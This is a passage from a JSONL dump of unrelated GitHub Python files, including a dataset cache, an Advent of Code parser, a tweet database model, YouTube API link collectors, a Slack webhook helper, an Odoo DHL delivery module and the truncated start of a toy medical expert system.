\"{0:>15}\".format(\"-\")\n self.dc_file.append(line_)\n self.dc_file += self.extras\n with open(self.dc_name, \"w\") as fout:\n fout.write(\"\\n\".join(self.dc_file))\n","repo_name":"MittalMonika/Jupyter_VBS","sub_path":"dctools/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":16401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"73260206911","text":"from dataclasses import dataclass, field\nfrom mlrgetpy.JsonParser import JsonParser\nfrom mlrgetpy.datasetlist.DataSetListAbstract import DataSetListAbstract\nfrom mlrgetpy.FilterInput import FilterInput\nfrom mlrgetpy.log.ConfigLog import ConfigLog\nfrom bs4 import BeautifulSoup\nimport json\nfrom mlrgetpy.RequestHelper import RequestHelper\nfrom mlrgetpy.datasetlist.DataSetListHtml import DataSetListHTML\nfrom datetime import date\nimport pickle\n\n\n@dataclass\nclass DataSetListHTMLCache (DataSetListAbstract):\n __dataset_html = DataSetListHTML()\n __file_cache = 'response-html.pkl'\n\n def findAll(self) -> dict:\n current_date = date.today()\n cached_date = None\n\n [cached_response, cached_date] = self.getCache()\n\n if cached_date == None or (current_date - cached_date).days >= 100:\n datasets_json = self.__dataset_html.findAll()\n self.save_object([datasets_json, current_date], self.__file_cache)\n else:\n ConfigLog.log.write_caching(self.__file_cache)\n datasets_json = cached_response\n\n return datasets_json\n\n def getCache(self):\n list_response = []\n try:\n with open(self.__file_cache, 'rb') as inp:\n list_response = pickle.load(inp)\n response = list_response[0]\n except:\n list_response = [None, None]\n\n return list_response\n\n def save_object(self, obj, filename):\n with open(filename, 'wb') as outp:\n pickle.dump(obj, outp, pickle.HIGHEST_PROTOCOL)\n","repo_name":"jos101/mlgetpy","sub_path":"mlrgetpy/datasetlist/DataSetListHtmlCache.py","file_name":"DataSetListHtmlCache.py","file_ext":"py","file_size_in_byte":1544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"37085205130","text":"def parsePacket(s, i):\n leading = 1\n packet = \"\"\n while leading == 1:\n leading = int(msg[i], 2)\n i += 1\n packet += msg[i:i+4]\n i += 4\n num = int(packet, 2)\n print('Int literal: ' + str(num), end=' ')\n # l = len(packet)\n # while l % 4 != 0:\n # l += 1\n # i += 1\n return i\n\ndef parse(s, i):\n print(i)\n global sum\n ver = int(msg[i:i+3], 2)\n print('Packet ver: ' + str(ver), end=' ')\n sum += ver\n i += 3\n typeID = int(msg[i:i+3], 2)\n i += 3\n print('TypeID: ' + str(typeID), end=' ')\n if typeID == 4:\n i = parsePacket(msg, i)\n else:\n ltID = int(msg[i], 2)\n print('lTypeID: ' + str(ltID), end=' ')\n i += 1\n if ltID == 0:\n length = int(msg[i:i+15], 2)\n print('Length: ' + str(length), end=' ')\n i += 15\n j = i\n while j-i < length:\n j = parse(s, j)\n i = j\n else:\n nPackets = int(msg[i:i+11], 2)\n print('nPackets: ' + str(nPackets), end=' ')\n i += 11\n for _ in range(nPackets):\n i = parse(s, i)\n #trailing zeros\n # while i % 4 != 0:\n # i += 1\n\n print()\n return i\n\nf = open('input.txt', 'r')\nline = f.readline().strip()\n#line= \"EE00D40C823060\"\n\nmsg_hex = [c for c in line]\nmsg = \"\".join([ format(int(x, 16), \"04b\") for x in msg_hex ])\n\n#g = open('msg.txt', 'w')\n#print(msg, file=g)\n#g.close()\n\nsum = 0\ni = 0\nwhile i < len(msg)-7:\n i = parse(msg, i)\n \n\nprint(sum)\n\nf.close()","repo_name":"tberic/AdventOfCode","sub_path":"2021/16/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":1568,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"26650565915","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom sqlalchemy.ext.declarative import declarative_base\nfrom sqlalchemy import Column, Integer, String, Text\nfrom sqlalchemy.sql.functions import modifier\nfrom sqlalchemy.sql.sqltypes import Boolean\n\nfrom .dbconfig import Mysql_config\n\n\nBase = declarative_base()\n\n\n# 用户表模型\nclass Tweet(Base):\n \"\"\"[define tweet data table]\n Args:\n Base ([class]): [base class]\n \"\"\"\n\n __tablename__ = \"tweet_data\"\n\n id = Column(Integer, primary_key=True, autoincrement=True)\n user_name = Column(String(64))\n user_id = Column(String(64))\n following = Column(Integer(), default=0)\n followers = Column(Integer(), default=0)\n date = Column(String(64))\n content = Column(Text)\n reply = Column(Integer(), default=0)\n retweet = Column(Integer(), default=0)\n like = Column(Integer(), default=0)\n modify_tag = Column(Boolean(),default=False)\n\n def __init__(self, user_name, user_id, date, content, reply=0, retweet=0, like=0, following=0, followers=0, modify_tag=False):\n self.user_name = user_name\n self.user_id = user_id\n self.following = following\n self.followers = followers\n self.date = date\n self.content = content\n self.reply = reply\n self.retweet = retweet\n self.like = like\n self.modify_tag = modify_tag\n\nclass DataAccess:\n \"\"\"[access to MysqlDB to process data]\n \"\"\"\n\n def __init__(self):\n self.engine = None\n self.Session = None\n self.session = None\n\n def connect(self):\n \"\"\"[connect to MysqlDB]\n \"\"\"\n self.engine = create_engine(\"mysql+pymysql://{}:{}@{}/{}?charset=utf8\".format(Mysql_config[\"username\"],Mysql_config[\"pwd\"], Mysql_config[\"host\"], Mysql_config[\"schema\"]),\n #echo=True, #测试使用\n pool_size=8,\n pool_recycle=60*30)\n Base.metadata.create_all(self.engine)\n self.Session = sessionmaker(bind=self.engine)\n self.session = self.Session()\n\n def add_data(self, content):\n \"\"\"[insert tweet data to MysqlDB]\n\n Args:\n content ([class]): [Object of Tweet class]\n \"\"\"\n self.session.add(content)\n\n def query(self):\n \"\"\"[query data from MysqlDB]\n\n Returns:\n [list]: [query data]\n \"\"\"\n data = self.session.query(Tweet).all()\n return data\n \n\nMysqlDAL = DataAccess()\n\n\nif __name__ == '__main__':\n tweet = DataAccess()\n tweet.connect()\n #content = Tweet(\"3\",\"5\",\"3\",\"4\",1,2,3,4,5)\n #tweet.add_data(content)\n tweet.query()\n\n #tweet.session.commit()\n\n\n","repo_name":"FmKnight/Selenium-Twitter-Scraper","sub_path":"db_settings/MysqlDB.py","file_name":"MysqlDB.py","file_ext":"py","file_size_in_byte":2704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71236851390","text":"# 2^n\ndef process_solution(a,k, sum):\n if sum != 10: return\n global cnt\n for i in range(1,k+1):\n if a[i] :\n print(data[i], end=\" \")\n print()\n cnt += 1\n\ndef make_candidates(a, k, input, c):\n c[0] = True\n c[1] = False\n return 2\n\ndef backtrack(a, k, input, sum):\n if sum > 10: return #가지치기\n\n global MAXCANDITATES, total_cnt\n c = [0] * MAXCANDITATES\n\n if k == input:\n process_solution(a,k, sum) #답이면 원하는 작업을 한다.\n\n else:\n k += 1\n ncands = make_candidates(a, k, input, c)\n for i in range(ncands):\n a[k] = c[i]\n if a[k]: #a[k] = 1 이면 sum에 누적(가지치기)\n backtrack(a, k, input, sum + data[k])\n else:\n backtrack(a, k, input, sum)\n total_cnt += 1\n\n\nMAXCANDITATES = 100\nNMAX = 100\ndata = [i for i in range(11)]\na = [0] * NMAX\ncnt = 0\ntotal_cnt = 0\nbacktrack(a, 0, 10, 0)\nprint(f'count:{cnt}')\nprint(f'count:{total_cnt}')\n","repo_name":"hoyoung2176/TIL","sub_path":"Algorithm/D09/연습문제02_가지치기.py","file_name":"연습문제02_가지치기.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"40760283034","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport requests\n\n# Print first 50 links for a YouTube search query\ndef search_keyword(query):\n api_key = ''\n q = query.replace(' ', '%20')\n url = 'https://www.googleapis.com/youtube/v3/search?part=snippet&type=video&maxResults=50&q='\n final_url = url + q + '&key=' + api_key\n data = requests.get(final_url)\n data_json = data.json()\n print(query + ':\\n')\n for item in data_json['items']:\n print('https://www.youtube.com/watch?v=' + item['id']['videoId'])\n\n# Print first 50 links for multiple YouTube search queries (input list as array)\ndef search_keywords(query_list):\n for key in query_list:\n search_keyword(key)\n print('\\n')\n\n# Print first 50 links of a playlist\ndef playlist_links(playlist_ID):\n api_key = ''\n url = 'https://www.googleapis.com/youtube/v3/playlistItems?part=snippet&maxResults=50&playlistId='\n final_url = url + playlist_ID + '&key=' + api_key\n data = requests.get(final_url)\n data_json = data.json()\n for item in data_json['items']:\n print('https://www.youtube.com/watch?v=' + item['snippet']['resourceId']['videoId'])\n\n# Return uploads playlist ID for a channel username\ndef uploads_ID(channel_username_or_ID, username_or_ID_binary):\n api_key = ''\n usr_or_ID = channel_username_or_ID.replace(' ', '%20')\n url = 'https://www.googleapis.com/youtube/v3/channels?part=contentDetails&'\n if username_or_ID_binary == 'username':\n temp_url = url + 'forUsername='\n else:\n temp_url = url + 'id='\n final_url = temp_url + usr_or_ID + '&key=' + api_key\n data = requests.get(final_url)\n data_json = data.json()\n for item in data_json['items']:\n return(item['contentDetails']['relatedPlaylists']['uploads'])\n\n# Return uploads playlist ID for a channel username\ndef uploads_ID_2(channel_username_or_ID, username_or_ID_binary):\n if username_or_ID_binary == 'id':\n upload_ID = 'UU' + channel_username_or_ID[2:]\n return upload_ID\n else:\n api_key = ''\n usr_nm = channel_username_or_ID.replace(' ', '%20')\n url = 'https://www.googleapis.com/youtube/v3/channels?part=contentDetails&forUsername='\n final_url = url + usr_nm + '&key=' + api_key\n data = requests.get(final_url)\n data_json = data.json()\n for item in data_json['items']:\n return(item['contentDetails']['relatedPlaylists']['uploads'])\n\n# Print first 50 links of a channel's uploads\ndef channel_uploads(channel_username_or_ID):\n uploads_playlist_ID = uploads_ID_2(channel_username, 'username')\n api_key = ''\n print(channel_username + ' upload list:\\n')\n playlist_links(uploads_playlist_ID)\n\n# Pick uploads_ID or uploads_ID_2 based on legitimacy of 2's logic\n# Figure out how best to input difference between username & id\n# 1. add a second input specifying username or ID\n# 2. require something concatenated to end of first input - not intuitive enough\n# 3. use separate functions (meh)\n\n\n# Print first 50 links of multiple channels' uploads\ndef mult_channel_uploads_pull(username_list):\n for username in username_list:\n channel_uploads(username)\n print('\\n')\n\n","repo_name":"projectTwine/link-collector","sub_path":"YouTube/youtube_API_functions.py","file_name":"youtube_API_functions.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"28190338144","text":"#!/usr/bin/env python\nimport rospy\nimport matplotlib.pyplot as plt\nfrom sensorpackage.msg import PoseAngle\nimport math\ndef callback(data):\n\tglobal counter\n\tif counter % 5 == 0:\n\t\tx = data.positions.x\n\t\ty = data.positions.y\n\t\trobot_angle = data.angle\n\n\t\tplt.plot(x,y,marker=(3,0,robot_angle),markersize=10,linestyle='None')\n\t\tplt.xlabel('x position')\n\t\tplt.ylabel('y position')\n\t\tplt.title('Robot position')\n\t\tplt.pause(0.0001)\n\tcounter += 1\n\nif __name__ == '__main__':\n counter = 0\n rospy.init_node('Graphing_node', anonymous=False)\n\n rospy.Subscriber(\"/Robot_pose\", PoseAngle, callback)\n plt.show()\n rospy.spin()\n","repo_name":"nikkolaii/Cyborg_project","sub_path":"sensorpackage/graph_with_orientation.py","file_name":"graph_with_orientation.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"2967808700","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport logging\nimport json\nimport requests\nimport botconfig\nlogging.basicConfig()\nLOG = logging.getLogger(__name__)\nLOG.setLevel(botconfig.DEFAULT_LOGGING)\n\n\n# return send_request('UNCAUGHT Exception', tb, field_arr)\nclass Hooker(object):\n def __init__(\n self,\n channel,\n ):\n self.field_arr = []\n if not channel:\n raise ValueError(\"channel argument cannot be empty\")\n self.channel = channel\n\n def add_field(self, title, body, short=False):\n self.field_arr.append({\n 'title': title,\n 'value': body,\n 'short': short,\n })\n\n def send(self, title, body):\n if len(body) > botconfig.HOOK_MAX_BODY:\n arg = {\n 'title': \"Message Body Truncated\",\n 'body': \"shaving off {} bytes, sorry\".format(\n len(body) - botconfig.HOOK_MAX_BODY\n ),\n 'short': False,\n }\n self.add_field(**arg)\n body = body[:botconfig.HOOK_MAX_BODY]\n\n send_json = {\n \"attachments\": [\n {\n \"title\": title,\n \"text\": body,\n \"fields\": self.field_arr,\n }\n ],\n \"channel\": self.channel,\n \"username\": botconfig.HOOK_USER,\n \"icon_emoji\": botconfig.HOOK_ICON\n }\n response = requests.post(\n botconfig.HOOK_URL,\n data=json.dumps(send_json),\n headers={'Content-Type': 'application/json'}\n )\n if response.status_code != 200:\n LOG.error('Request to slack returned an error {}, the response is:\\n{}'.format(\n response.status_code,\n response.text,\n ))\n return True # Prevent invocation retry\n","repo_name":"shollingsworth/wctf-slack-bot","sub_path":"hooker.py","file_name":"hooker.py","file_ext":"py","file_size_in_byte":1881,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"43619295737","text":"import argparse\nimport operator\nimport defaultdict\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('regression_result_file', type=argparse.FileType('r'))\nparser.add_argument('snp_coordinate_file', type=argparse.FileType('r'))\nparser.add_argument('refgene_file', type=argparse.FileType('r'))\nparser.add_argument('outfile', type=argparse.FileType('w'))\n\nargs = parser.parse_args()\n\nsnp_list = [l.strip().split('\\t')[0] for l in args.regression_result_file.readlines()]\n\nsnp_coords = defaultdict(list)\nline = args.snp_coordinate_file.readline()\nwhile line:\n fields = line.strip().split('\\t')\n try:\n snp_coords[fields[1]].append((fields[0], int(fields[2])))\n except Exception:\n pass\n line = args.snp_coordinate_file.readline()\n\ngene_counts = defaultdict(int)\n\nline = args.refgene_file.readline()\nwhile line:\n fields = line.strip().split('\\t')\n chrom = fields[2].replace('chr','')\n start = int(fields[6])\n end = int(fields[7])\n if chrom in snp_coords:\n for snp, coord in snp_coords:\n if coord >= start and coord <= end:\n gene_counts[fields[12]] += 1\n line = args.refgene_file.readline()\nsorted_gene_counts = sorted(gene_counts.iteritems(), key=operator.itemgetter(1))\n\nfor gene, counts in sorted_gene_counts:\n args.outfile.write('%s\\t%s\\n' % (gene, counts))\n\n\n\n","repo_name":"dimenwarper/gett","sub_path":"scripts/get_snp_gene_hotspots.py","file_name":"get_snp_gene_hotspots.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"20380904905","text":"# -*- coding: utf-8 -*-\n# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl.html).\n\n\nfrom odoo import models, fields, _, api\n\n\nclass DeliveryCarrier(models.Model):\n _inherit = 'delivery.carrier'\n\n def get_shipping_price_from_so(self, orders):\n self.ensure_one()\n if self.delivery_type == 'dhl':\n return [0]\n\n delivery_type = fields.Selection(\n selection_add=[('dhl', \"DHL\")],\n ondelete={'dhl': lambda recs: recs.write(\n {'delivery_type': 'fixed', 'fixed_price': 0})})\n\n dhl_user_id = fields.Char(string=\"DHL User ID\")\n dhl_password = fields.Char(string=\"DHL Password\")\n dhl_shipment_option = fields.Selection(\n [('DOOR', 'Door'), ('BP', 'Bp')],\n default=\"DOOR\",\n string=\"DHL Shipment Option\")\n dhl_parcel_type = fields.Selection(\n [('SMALL', 'Small'), ('MEDIUM', 'Medium'), ('LARGE', 'Large'),\n ('PALLET', 'Pallet')], default=\"SMALL\",\n string=\"DHL Parcel Type\")\n dhl_account_id = fields.Char(string=\"DHL Account ID\")\n\n\nclass SaleOrder(models.Model):\n _inherit = 'sale.order'\n\n def _create_delivery_line(self, carrier, price_unit):\n sol = super(SaleOrder, self)._create_delivery_line(carrier, price_unit)\n for s in sol:\n vals = {\n 'price_unit': price_unit\n }\n if self._context.get('picking_id'):\n picking_id = self.env['stock.picking'].browse(\n self._context.get('picking_id')[0])\n vals.update({\n 'qty_delivered': picking_id.number_of_packages\n })\n s.write(vals)\n return sol\n\n def action_confirm(self):\n for so in self:\n if so.carrier_id and \\\n any([line.product_id.type == 'product' for line in\n so.order_line]) and \\\n all([not line.is_delivery for line in so.order_line]):\n so.delivery_set()\n return super(SaleOrder, self).action_confirm()\n\n\nclass SaleOrderLine(models.Model):\n _inherit = 'sale.order.line'\n\n is_extra_weight = fields.Boolean(string=\"Is extra Weight?\")\n is_extra_dimension = fields.Boolean(string=\"Is extra Weight?\")\n\n\nclass StockPicking(models.Model):\n _inherit = 'stock.picking'\n\n is_extra_weight = fields.Boolean(string=\"Extra cost weight?\")\n extra_weight = fields.Integer(string=\"Value\")\n\n is_extra_dimension = fields.Boolean(string=\"Extra cost Dimension?\")\n extra_dimension = fields.Integer(string=\"Value\")\n\n @api.onchange('is_extra_weight')\n def _onchange_is_extra_weight(self):\n if not self.is_extra_weight:\n self.extra_weight = 0.0\n\n @api.onchange('extra_weight')\n def _onchange_extra_weight(self):\n if self.is_extra_weight:\n if self.extra_weight < self._origin.extra_weight:\n warning_mess = {\n 'title': _('Weight decreased!'),\n 'message': _('You are decreasing the weight! '\n 'Do not forget to manually update '\n 'the delivery order if needed.'),\n }\n return {'warning': warning_mess}\n\n @api.onchange('extra_dimension')\n def _onchange_extra_dimension(self):\n if self.is_extra_dimension:\n if self.extra_dimension < self._origin.extra_dimension:\n warning_mess = {\n 'title': _('Dimension decreased!'),\n 'message': _('You are decreasing the dimension! '\n 'Do not forget to manually update '\n 'the delivery order if needed.'),\n }\n return {'warning': warning_mess}\n\n @api.onchange('is_extra_dimension')\n def _onchange_is_extra_dimension(self):\n if not self.is_extra_dimension:\n self.extra_dimension = 0.0\n\n def _add_delivery_cost_to_so(self):\n self.ensure_one()\n sale_order = self.sale_id\n if sale_order.invoice_shipping_on_delivery:\n sale_order.with_context(picking_id=self.ids)._create_delivery_line(\n self.carrier_id, self.carrier_price)\n\n # @api.multi\n # def do_transfer(self):\n # \"\"\" If no pack operation, we do simple action_done of the picking.\n # Otherwise, do the pack operations. \"\"\"\n # # TDE CLEAN ME: reclean me, please\n # self._create_lots_for_picking()\n #\n # no_pack_op_pickings = self.filtered(lambda picking: not picking.pack_operation_ids)\n # no_pack_op_pickings.action_done()\n # if no_pack_op_pickings:\n # no_pack_op_pickings.action_set_delivered_qty()\n # other_pickings = self - no_pack_op_pickings\n # if other_pickings:\n # other_pickings.action_set_delivered_qty()\n # for picking in other_pickings:\n # need_rereserve, all_op_processed = picking.picking_recompute_remaining_quantities()\n # todo_moves = self.env['stock.move']\n # toassign_moves = self.env['stock.move']\n #\n # # create extra moves in the picking (unexpected product moves coming from pack operations)\n # if not all_op_processed:\n # todo_moves |= picking._create_extra_moves()\n #\n # if need_rereserve or not all_op_processed:\n # moves_reassign = any(x.origin_returned_move_id or x.move_orig_ids for x in picking.move_lines if x.state not in ['done', 'cancel'])\n # if moves_reassign and picking.location_id.usage not in (\"supplier\", \"production\", \"inventory\"):\n # # unnecessary to assign other quants than those involved with pack operations as they will be unreserved anyways.\n # picking.with_context(reserve_only_ops=True, no_state_change=True).rereserve_quants(move_ids=picking.move_lines.ids)\n # picking.do_recompute_remaining_quantities()\n #\n # # split move lines if needed\n # for move in picking.move_lines:\n # rounding = move.product_id.uom_id.rounding\n # remaining_qty = move.remaining_qty\n # if move.state in ('done', 'cancel'):\n # # ignore stock moves cancelled or already done\n # continue\n # elif move.state == 'draft':\n # toassign_moves |= move\n # if float_compare(remaining_qty, 0, precision_rounding=rounding) == 0:\n # if move.state in ('draft', 'assigned', 'confirmed'):\n # todo_moves |= move\n # elif float_compare(remaining_qty, 0, precision_rounding=rounding) > 0 and float_compare(remaining_qty, move.product_qty, precision_rounding=rounding) < 0:\n # # TDE FIXME: shoudl probably return a move - check for no track key, by the way\n # new_move_id = move.split(remaining_qty)\n # new_move = self.env['stock.move'].with_context(mail_notrack=True).browse(new_move_id)\n # todo_moves |= move\n # # Assign move as it was assigned before\n # toassign_moves |= new_move\n #\n # # TDE FIXME: do_only_split does not seem used anymore\n # if todo_moves and not self.env.context.get('do_only_split'):\n # todo_moves.action_done()\n # elif self.env.context.get('do_only_split'):\n # picking = picking.with_context(split=todo_moves.ids)\n #\n # picking._create_backorder()\n # return True\n\n def action_set_delivered_qty(self, vals):\n for rec in self:\n if rec.sale_id:\n line_id = rec.sale_id.order_line.filtered(\n lambda s: s.product_id == s.order_id.carrier_id.product_id)\n if line_id:\n line_id.write({\n 'qty_delivered': vals.get('number_of_packages')\n })\n\n def remove_extra_weight_line(self):\n prod_tmpl_id = self.env.ref('base_dhl.extra_weight_product')\n for rec in self:\n line_id = rec.sale_id.order_line.filtered(\n lambda l: l.is_extra_weight)\n if line_id:\n line_id.sudo().write({\n 'qty_delivered': 0.0,\n 'price_unit': 0.0,\n })\n move_line_id = rec.pack_operation_product_ids.filtered(\n lambda a: a.product_id.product_tmpl_id == prod_tmpl_id)\n move_line_id.write({\n 'qty_done': 0.0,\n 'product_qty': 0.0\n })\n return True\n\n def set_update_extra_weight_line(self, vals):\n SaleOrderLine = self.env['sale.order.line']\n prod_tmpl_id = self.env.ref('base_dhl.extra_weight_product')\n for rec in self:\n line_id = rec.sale_id.order_line.filtered(\n lambda l: l.is_extra_weight)\n if line_id:\n line_id.sudo().write({\n 'qty_delivered': vals.get('extra_weight'),\n 'product_uom_qty': vals.get('extra_weight')\n })\n else:\n values = {\n 'name': _(\"Extra Weight B2B\"),\n 'product_uom_qty': vals.get('extra_weight'),\n 'product_uom': prod_tmpl_id.uom_id.id,\n 'product_id': prod_tmpl_id.product_variant_id.id,\n 'qty_delivered': vals.get('extra_weight') or 0.0,\n 'price_unit': 0.0,\n 'tax_id': [],\n 'is_extra_weight': True,\n 'order_id': rec.sale_id.id\n }\n line_id = SaleOrderLine.sudo().create(values)\n line_id.product_id_change()\n move_line_id = rec.pack_operation_product_ids.filtered(\n lambda a: a.product_id.product_tmpl_id == prod_tmpl_id)\n move_line_id.write({\n 'qty_done': vals.get('extra_weight'),\n 'product_qty': vals.get('extra_weight')\n })\n return True\n\n def remove_extra_dimension_line(self):\n prod_tmpl_id = self.env.ref('base_dhl.extra_dimension_product')\n for rec in self:\n line_id = rec.sale_id.order_line.filtered(\n lambda l: l.is_extra_dimension)\n if line_id:\n line_id.sudo().write({\n 'qty_delivered': 0.0,\n 'price_unit': 0.0,\n })\n move_line_id = rec.pack_operation_product_ids.filtered(\n lambda a: a.product_id.product_tmpl_id == prod_tmpl_id)\n move_line_id.write({\n 'qty_done': 0.0,\n 'product_qty': 0.0,\n })\n return True\n\n def set_update_extra_dimension_line(self, vals):\n SaleOrderLine = self.env['sale.order.line']\n prod_tmpl_id = self.env.ref('base_dhl.extra_dimension_product')\n for rec in self:\n line_id = rec.sale_id.order_line.filtered(\n lambda l: l.is_extra_dimension)\n if line_id:\n line_id.sudo().write({\n 'qty_delivered': vals.get('extra_dimension'),\n 'product_uom_qty': vals.get('extra_dimension')\n })\n else:\n values = {\n 'name': _(\"Extra Dimension B2B\"),\n 'product_uom_qty': vals.get('extra_dimension'),\n 'product_uom': prod_tmpl_id.uom_id.id,\n 'product_id': prod_tmpl_id.product_variant_id.id,\n 'qty_delivered': vals.get('extra_dimension') or 0.0,\n 'price_unit': 0.0,\n 'tax_id': [],\n 'is_extra_dimension': True,\n 'order_id': rec.sale_id.id\n }\n line_id = SaleOrderLine.sudo().create(values)\n line_id.product_id_change()\n move_line_id = rec.pack_operation_product_ids.filtered(\n lambda a: a.product_id.product_tmpl_id == prod_tmpl_id)\n move_line_id.write({\n 'qty_done': vals.get('extra_dimension'),\n 'product_qty': vals.get('extra_dimension')\n })\n return True\n\n def write(self, vals):\n if 'number_of_packages' in vals:\n self.action_set_delivered_qty(vals)\n if ('is_extra_weight' in vals and vals.get(\n 'is_extra_weight')) or 'extra_weight' in vals:\n self.set_update_extra_weight_line(vals)\n if 'is_extra_weight' in vals and not vals.get('is_extra_weight'):\n self.remove_extra_weight_line()\n if ('is_extra_dimension' in vals and vals.get(\n 'is_extra_dimension')) or 'extra_dimension' in vals:\n self.set_update_extra_dimension_line(vals)\n if 'is_extra_dimension' in vals and not vals.get('is_extra_dimension'):\n self.remove_extra_dimension_line()\n return super(StockPicking, self).write(vals)\n\n\nclass StockPackOperation(models.Model):\n _inherit = 'stock.move.line'\n\n @api.model\n def create(self, vals):\n weight_product_id = self.env.ref(\n 'base_dhl.extra_weight_product').product_variant_id.id\n dimension_product_id = self.env.ref(\n 'base_dhl.extra_dimension_product').product_variant_id.id\n res = super(StockPackOperation, self).create(vals)\n if res.picking_id:\n if res.picking_id.is_extra_weight and res.product_id.id == weight_product_id:\n res.write({\n 'product_qty': res.picking_id.extra_weight,\n 'qty_done': res.picking_id.extra_weight\n })\n if res.picking_id.is_extra_dimension and res.product_id.id == dimension_product_id:\n res.write({\n 'product_qty': res.picking_id.extra_dimension,\n 'qty_done': res.picking_id.extra_dimension\n })\n return res\n","repo_name":"RLJO/Vitility_14_v2","sub_path":"base_dhl/models/delivery_carrier.py","file_name":"delivery_carrier.py","file_ext":"py","file_size_in_byte":14127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"5638817133","text":"import requests\nimport os\n\nsource_url = \"https://raw.githubusercontent.com/MichelangeloHimself/CrystalMetricDex/main/data/pokemon/dex_entries/\"\ncurrent_dir = os.getcwd()\ndest_dir = os.path.join(current_dir, \"data/pokemon/dex_entries\") # Look for the directory in the current working directory\n\nfor filename in os.listdir(dest_dir):\n source_file = source_url + filename\n dest_file = os.path.join(dest_dir, filename)\n \n response = requests.get(source_file)\n \n with open(dest_file, 'w') as f:\n f.write(response.text)\n \n print(f\"Updated {dest_file}\")\n","repo_name":"MichelangeloHimself/CrystalMetricDex","sub_path":"oldDexConvert.py","file_name":"oldDexConvert.py","file_ext":"py","file_size_in_byte":578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"33825180514","text":"# tasks\n# Consider all symptoms.\n# Build engine\n# Take severity symptoms: 0-5 scale, 0 being not at all, 5 meaning extremely severe.\n\n# Libraries\nfrom experta import *\n\nsymptoms_list = ['headache', 'back pain', 'chest pain', 'cough', 'fainting', 'fatigue', 'sunken eyes', 'low body temperature', \n\t\t\t\t'restlesness', 'sore throat', 'fever', 'nausea', 'blurred vision']\n\n# Diseases: [0,0,0,0,0,0,0,0,0,0,0,0,0]\ndiseases_dict = [\"Alzheimers\", \"Arthritis\", \"Asthma\", \"Diabetes\", \"Epilepsy\", \"Glaucoma\", \"Heart Disease\", \"Heat Stroke\",\n\t\t\t\t\"Hyperthyroidism\", \"Hypothermia\", \"Jaundice\", \"Sinusitis\", \"Tuberculosis\"]\n\nsymptoms_disease_map = [\n[0,0,0,0,0,0,0,1,0,0,0,0,0]\n,[0,1,0,0,0,0,1,0,0,0,0,0,0]\n,[0,0,1,1,0,0,0,1,0,0,0,0,0]\n,[0,0,0,0,0,0,1,0,0,0,0,1,1]\n,[0,0,0,0,0,0,1,0,0,0,0,0,0]\n,[1,0,0,0,0,0,0,0,0,0,0,1,1]\n,[0,0,1,0,0,0,0,0,0,0,0,1,0]\n,[1,0,0,0,0,0,0,0,0,1,0,1,0]\n,[0,0,0,0,0,0,1,0,0,0,0,1,0]\n,[0,0,0,0,1,0,0,0,1,0,0,0,0]\n,[0,0,0,0,0,0,1,0,0,1,0,1,0]\n,[1,0,0,1,0,1,0,0,0,1,0,0,0]\n,[0,0,1,1,0,0,0,0,0,1,0,0,0]]\n\ndef get_symptoms(disease):\n\treturn symptoms_disease_map[diseases_dict.index(disease)]\n\n# Doctor Class\nclass DoctorElias(KnowledgeEngine):\n\t@DefFacts()\n\tdef start(self):\n\t\tprint(\"Hey! Welcome to the Olive Wellness Centre, I am Elias! I believe you are here for a checkup. In order to do that, I will need you to ask some questions for me.\\n For all these questions, answer with a number between 0 to 5. With 0 meaning that symptom is not present and 5 meaning a severe case of that symptom.\\n\")\n\t\tyield Fact(action = \"diagnose\")\n\n\t@Rule(Fact(action = \"diagnose\"), NOT(Fact(headache = W())), salience = 1)\n\tdef symptom1(self):\n\t\tself.declare(Fact(headache = input(\"Do you have a headache? \")))\n\n\t@Rule(Fact(action = \"diagnose\"), NOT(Fact(back_pain = W())), salience = 1)\n\tdef symptom2(self):\n\t\tself.declare(Fact(back_pain = input(\"Do you have back pain? \")))\n\n\t@Rule(Fact(action = \"diagnose\"), NOT(Fact(chest_pain = W())), salience = 1)\n\tdef symptom3(self):\n\t\tself.declare(Fact(chest_pain = input(\"Do you have chest pain? \")))\n\n\t@Rule(Fact(action = \"diagnose\"), NOT(Fact(cough = W())), salience = 1)\n\tdef symptom4(self):\n\t\tself.declare(Fact(cough = input(\"Do you have a cough? \")))\n\n\t@Rule(Fact(action = \"diagnose\"), NOT(Fact(fainting = W())), salience = 1)\n\tdef symptom5(self):\n\t\tself.declare(Fact(fainting = input(\"Do you experience fainting? \")))\n\n\t@Rule(Fact(action = \"diagnose\"), NOT(Fact(fatigue = W())), salience = 1)\n\tdef symptom6(self):\n\t\tself.declare(Fact(fatigue = input(\"Do you experience fatigue? \")))\n\n\t@Rule(Fact(action = \"diagnose\"), NOT(Fact(sunken_eyes = W())), salience = 1)\n\tdef symptom7(self):\n\t\tself.declare(Fact(sunken_eyes = input(\"Do you have sunken eyes? \")))\n\n\t@Rule(Fact(action = \"diagnose\"), NOT(Fact(low_body_temp = W())), salience = 1)\n\tdef 